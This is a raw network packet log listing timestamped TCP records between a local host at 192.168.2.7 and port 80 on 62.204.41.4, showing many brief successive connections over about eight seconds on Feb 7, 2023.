Feb 7, 2023 23:07:03.264329910 CET	80	49700	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:03.264425993 CET	49700	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:03.267556906 CET	49701	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:03.326805115 CET	80	49701	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:03.329868078 CET	80	49701	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:03.329942942 CET	49701	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:03.436152935 CET	49701	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:03.437258005 CET	49702	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:03.495906115 CET	80	49701	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:03.496052980 CET	49701	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:03.496943951 CET	80	49702	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:03.497095108 CET	49702	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:03.497684956 CET	49702	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:03.557506084 CET	80	49702	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:03.560082912 CET	80	49702	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:03.560208082 CET	49702	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:03.673109055 CET	49702	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:03.673871994 CET	49703	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:03.733185053 CET	80	49702	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:03.733329058 CET	49702	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:03.736211061 CET	80	49703	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:03.736347914 CET	49703	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:03.736813068 CET	49703	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:03.799091101 CET	80	49703	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:03.801440954 CET	80	49703	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:03.801621914 CET	49703	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:03.905455112 CET	49703	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:03.906404018 CET	49704	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:03.967937946 CET	80	49704	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:03.967998028 CET	80	49703	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:03.968163967 CET	49704	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:03.968164921 CET	49703	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:03.968547106 CET	49704	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:04.030018091 CET	80	49704	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:04.032342911 CET	80	49704	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:04.034064054 CET	49704	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:04.154686928 CET	49704	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:04.164436102 CET	49705	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:04.216353893 CET	80	49704	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:04.217401981 CET	49704	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:04.224212885 CET	80	49705	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:04.226380110 CET	49705	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:04.226732969 CET	49705	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:04.286190033 CET	80	49705	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:04.288414955 CET	80	49705	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:04.288635015 CET	49705	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:04.406301975 CET	49705	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:04.409617901 CET	49706	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:04.466049910 CET	80	49705	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:04.466161013 CET	49705	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:04.471472979 CET	80	49706	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:04.471927881 CET	49706	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:04.472245932 CET	49706	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:04.533725023 CET	80	49706	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:04.536338091 CET	80	49706	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:04.538161993 CET	49706	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:04.642502069 CET	49706	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:04.643182993 CET	49707	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:04.704410076 CET	80	49706	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:04.705148935 CET	49706	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:04.705760002 CET	80	49707	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:04.709372044 CET	49707	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:04.724651098 CET	49707	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:04.787405014 CET	80	49707	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:04.789779902 CET	80	49707	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:04.792520046 CET	49707	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:04.907598972 CET	49707	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:04.908334017 CET	49708	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:04.970027924 CET	80	49708	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:04.970218897 CET	80	49707	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:04.970249891 CET	49708	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:04.970295906 CET	49707	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:04.970650911 CET	49708	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:05.032016039 CET	80	49708	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:05.035841942 CET	80	49708	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:05.035939932 CET	49708	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:05.140450954 CET	49708	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:05.141103983 CET	49709	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:05.202258110 CET	80	49708	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:05.202477932 CET	49708	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:05.203305960 CET	80	49709	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:05.203491926 CET	49709	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:05.205403090 CET	49709	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:05.268161058 CET	80	49709	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:05.269750118 CET	80	49709	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:05.269912958 CET	49709	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:05.383889914 CET	49709	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:05.384824038 CET	49710	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:05.445327997 CET	80	49710	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:05.445550919 CET	49710	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:05.446085930 CET	49710	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:05.447098017 CET	80	49709	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:05.447232008 CET	49709	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:05.506647110 CET	80	49710	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:05.508915901 CET	80	49710	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:05.509057999 CET	49710	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:05.631058931 CET	49710	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:05.631984949 CET	49711	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:05.691190958 CET	80	49710	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:05.691355944 CET	49710	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:05.694320917 CET	80	49711	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:05.694502115 CET	49711	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:05.695209980 CET	49711	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:05.757498980 CET	80	49711	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:05.759574890 CET	80	49711	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:05.759779930 CET	49711	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:05.876800060 CET	49711	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:05.877526999 CET	49712	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:05.939230919 CET	80	49711	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:05.939316034 CET	49711	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:05.939891100 CET	80	49712	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:05.940005064 CET	49712	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:05.940453053 CET	49712	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:06.002850056 CET	80	49712	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:06.005084991 CET	80	49712	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:06.005175114 CET	49712	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:06.125827074 CET	49712	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:06.126735926 CET	49713	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:06.188437939 CET	80	49712	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:06.188613892 CET	49712	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:06.188915014 CET	80	49713	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:06.189034939 CET	49713	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:06.192940950 CET	49713	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:06.255599022 CET	80	49713	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:06.257908106 CET	80	49713	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:06.258011103 CET	49713	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:06.373574972 CET	49713	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:06.376723051 CET	49714	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:06.436012030 CET	80	49713	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:06.436218023 CET	49713	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:06.439450026 CET	80	49714	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:06.439599037 CET	49714	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:06.440543890 CET	49714	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:06.502903938 CET	80	49714	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:06.505444050 CET	80	49714	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:06.505583048 CET	49714	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:06.608891010 CET	49714	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:06.609612942 CET	49715	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:06.669861078 CET	80	49715	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:06.669996023 CET	49715	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:06.670721054 CET	49715	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:06.671248913 CET	80	49714	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:06.671329975 CET	49714	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:06.731126070 CET	80	49715	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:06.733525038 CET	80	49715	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:06.733633041 CET	49715	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:06.853598118 CET	49715	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:06.854295015 CET	49716	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:06.914124012 CET	80	49715	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:06.914235115 CET	49715	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:06.914635897 CET	80	49716	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:06.914721966 CET	49716	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:06.915416002 CET	49716	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:06.975756884 CET	80	49716	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:06.978020906 CET	80	49716	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:06.981764078 CET	49716	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:07.092461109 CET	49716	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:07.093203068 CET	49717	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:07.152453899 CET	80	49717	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:07.152673006 CET	80	49716	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:07.152883053 CET	49716	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:07.152895927 CET	49717	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:07.153402090 CET	49717	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:07.212693930 CET	80	49717	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:07.215212107 CET	80	49717	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:07.215399981 CET	49717	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:07.327400923 CET	49717	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:07.328449965 CET	49718	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:07.387031078 CET	80	49717	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:07.387294054 CET	49717	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:07.388819933 CET	80	49718	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:07.389214993 CET	49718	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:07.389631987 CET	49718	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:07.450048923 CET	80	49718	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:07.452438116 CET	80	49718	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:07.452608109 CET	49718	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:07.563637018 CET	49718	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:07.564518929 CET	49719	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:07.623931885 CET	80	49719	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:07.623999119 CET	80	49718	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:07.624136925 CET	49719	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:07.624149084 CET	49718	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:07.624988079 CET	49719	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:07.684631109 CET	80	49719	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:07.686675072 CET	80	49719	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:07.686954021 CET	49719	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:07.795672894 CET	49719	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:07.796691895 CET	49720	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:07.854907990 CET	80	49719	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:07.858834028 CET	49719	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:07.859045029 CET	80	49720	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:07.859157085 CET	49720	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:07.869854927 CET	49720	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:07.932235956 CET	80	49720	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:07.934511900 CET	80	49720	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:07.934730053 CET	49720	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:08.046344042 CET	49720	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:08.054996014 CET	49721	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:08.108666897 CET	80	49720	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:08.108855963 CET	49720	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:08.116616011 CET	80	49721	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:08.116931915 CET	49721	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:08.117511988 CET	49721	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:08.179033995 CET	80	49721	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:08.181422949 CET	80	49721	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:08.181575060 CET	49721	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:08.296034098 CET	49721	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:08.297132015 CET	49722	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:08.357887983 CET	80	49721	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:08.358007908 CET	49721	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:08.359450102 CET	80	49722	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:08.359561920 CET	49722	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:08.360518932 CET	49722	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:08.423042059 CET	80	49722	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:08.425359964 CET	80	49722	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:08.425517082 CET	49722	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:08.537436008 CET	49722	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:08.538285971 CET	49723	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:08.597552061 CET	80	49723	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:08.597768068 CET	49723	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:08.598237991 CET	49723	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:08.599716902 CET	80	49722	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:08.599850893 CET	49722	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:08.657560110 CET	80	49723	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:08.660135984 CET	80	49723	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:08.660310984 CET	49723	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:08.764516115 CET	49723	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:08.765168905 CET	49724	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:08.824013948 CET	80	49723	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:08.824196100 CET	49723	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:08.825932026 CET	80	49724	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:08.826160908 CET	49724	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:08.827018976 CET	49724	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:08.887775898 CET	80	49724	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:08.890192986 CET	80	49724	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:08.890341043 CET	49724	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:08.998748064 CET	49724	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:08.999483109 CET	49725	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:09.059585094 CET	80	49724	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:09.059729099 CET	49724	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:09.060904026 CET	80	49725	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:09.061094046 CET	49725	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:09.061494112 CET	49725	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:09.122922897 CET	80	49725	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:09.126104116 CET	80	49725	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:09.126210928 CET	49725	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:09.237874031 CET	49725	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:09.238708973 CET	49726	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:09.298727036 CET	80	49726	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:09.298921108 CET	49726	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:09.299115896 CET	80	49725	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:09.299257994 CET	49725	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:09.303742886 CET	49726	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:09.363749027 CET	80	49726	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:09.365572929 CET	80	49726	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:09.365712881 CET	49726	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:09.467817068 CET	49726	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:09.468791962 CET	49727	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:09.527350903 CET	80	49726	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:09.527518988 CET	49726	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:09.530292034 CET	80	49727	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:09.530427933 CET	49727	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:09.536305904 CET	49727	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:09.597786903 CET	80	49727	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:09.600039959 CET	80	49727	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:09.600249052 CET	49727	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:09.703383923 CET	49727	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:09.705163002 CET	49728	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:09.765124083 CET	80	49727	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:09.765223026 CET	49727	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:09.766530037 CET	80	49728	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:09.766671896 CET	49728	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:09.767108917 CET	49728	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:09.828646898 CET	80	49728	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:09.831113100 CET	80	49728	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:09.831259012 CET	49728	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:09.954077005 CET	49728	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:09.955065966 CET	49729	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:10.015727997 CET	80	49728	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:10.017703056 CET	80	49729	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:10.017843008 CET	49728	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:10.017921925 CET	49729	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:10.061029911 CET	49729	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:10.122860909 CET	80	49729	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:10.126115084 CET	80	49729	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:10.129404068 CET	49729	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:10.234522104 CET	49729	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:10.243005991 CET	49730	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:10.295603037 CET	80	49729	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:10.295706987 CET	49729	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:10.305813074 CET	80	49730	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:10.307830095 CET	49730	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:10.313178062 CET	49730	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:10.375950098 CET	80	49730	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:10.379033089 CET	80	49730	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:10.382095098 CET	49730	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:10.505893946 CET	49730	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:10.507054090 CET	49731	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:10.567534924 CET	80	49731	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:10.567737103 CET	49731	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:10.568660975 CET	80	49730	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:10.568753004 CET	49731	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:10.568819046 CET	49730	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:10.629336119 CET	80	49731	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:10.632441998 CET	80	49731	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:10.633985043 CET	49731	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:10.766997099 CET	49731	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:10.768205881 CET	49732	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:10.827835083 CET	80	49731	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:10.828047037 CET	49731	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:10.829246044 CET	80	49732	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:10.829417944 CET	49732	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:10.829865932 CET	49732	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:10.890521049 CET	80	49732	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:10.893610001 CET	80	49732	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:10.893922091 CET	49732	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:10.999178886 CET	49732	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:11.000154018 CET	49733	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:11.061677933 CET	80	49732	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:11.061722040 CET	80	49733	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:11.061829090 CET	49732	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:11.061918974 CET	49733	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:11.073843002 CET	49733	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:11.135864019 CET	80	49733	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:11.142923117 CET	80	49733	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:11.143141985 CET	49733	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:11.249931097 CET	49733	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:11.251192093 CET	49734	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:11.312640905 CET	80	49733	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:11.312694073 CET	80	49734	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:11.312818050 CET	49733	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:11.312907934 CET	49734	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:11.313399076 CET	49734	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:11.374263048 CET	80	49734	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:11.377012014 CET	80	49734	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:11.377130032 CET	49734	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:11.500376940 CET	49734	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:11.501049042 CET	49735	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:11.561248064 CET	80	49734	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:11.561507940 CET	49734	80	192.168.2.7	62.204.41.4
